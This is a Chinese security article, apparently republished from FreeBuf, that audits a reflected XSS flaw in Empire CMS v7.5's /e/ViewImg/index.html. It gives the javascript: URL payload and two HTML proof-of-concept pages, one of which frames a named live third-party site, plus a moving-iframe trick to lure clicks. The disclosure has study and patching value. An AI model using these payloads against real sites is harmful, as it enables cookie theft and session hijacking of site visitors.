代码审计 Empire CMS v7.5前台XSS漏洞

x
用微信扫描二维码
分享至好友和朋友圈

  *本文原创作者:q601333824,属于FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM

  概述

  帝国CMS简称Empire CMS,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,最近也去挖了前台XSS,发现前台有一处过滤不完整导致的XSS漏洞。

  相关环境

源码信息:EmpireCMS_7.5_SC_UT
漏洞类型:反射型XSS
下载地址:http://www.phome.net/download/
漏洞文件:/e/ViewImg/index.html
漏洞分析

  1、该文件不是PHP文件,只是普通html静态文件,但是其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img和a标签的,src属性和href属性,然后经过document.write输出到页面。

  
2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。

  
2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。

  例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理之后得到javascript:alert(document.cookie)。

  

  

  3、最后经过document.write函数输出到页面,得到a标签和img标签,并且href和src的值,就是返回的javascript:alert(document.cookie)。

  

  

  4、根据触发规则,可以进行点击图片位置即可触发,网上找了两个网站实例。

  

  

  

  

  利用方法

  1、有人会说利用点太小了,不好触发,可以参考我以前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS位置随意移动,方便触发。

  http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html

  2、详细利用代码如下,第一段代码,效果如下:

  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>中转</title> </head> <body> <iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" ></iframe> </body> </html>

  
3、第二段代码如下,嵌套前面的代码实现任意位置移动。

  
3、第二段代码如下,嵌套前面的代码实现任意位置移动。 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>存储型SS测试</title> </head> <body> <marquee behavior="alternate">→→→→→→→→→→<iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no"></iframe>←←←←←←←←←←</marquee> </body> </html>

  4、两段代码最终效果如下。

  
5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……

  
5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……

  

  
总结

  1、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的,href属性和src属性输出。

  2、至于利用方法,是几年前无聊想的,所以拿来用用。

  *本文原创作者:q601333824,属于FreeBuf原创奖励计划,转载请注明来自FreeBuf.COM

特别声明:本文为网易自媒体平台“网易号”作者上传并发布,仅代表该作者观点。网易仅提供信息发布平台。

跟贴 跟贴 0 参与 0
© 1997-2019 网易公司版权所有 About NetEase | 公司简介 | 联系方法 | 招聘信息 | 客户服务 | 隐私政策 | 广告服务 | 网站地图 | 意见反馈 | 不良信息举报

FreeBuf

互联网安全新媒体

头像

FreeBuf

互联网安全新媒体

5508

篇文章

14192

人关注

列表加载中...
请登录后再关注
x

用户登录

网易通行证/邮箱用户可以直接登录:
忘记密码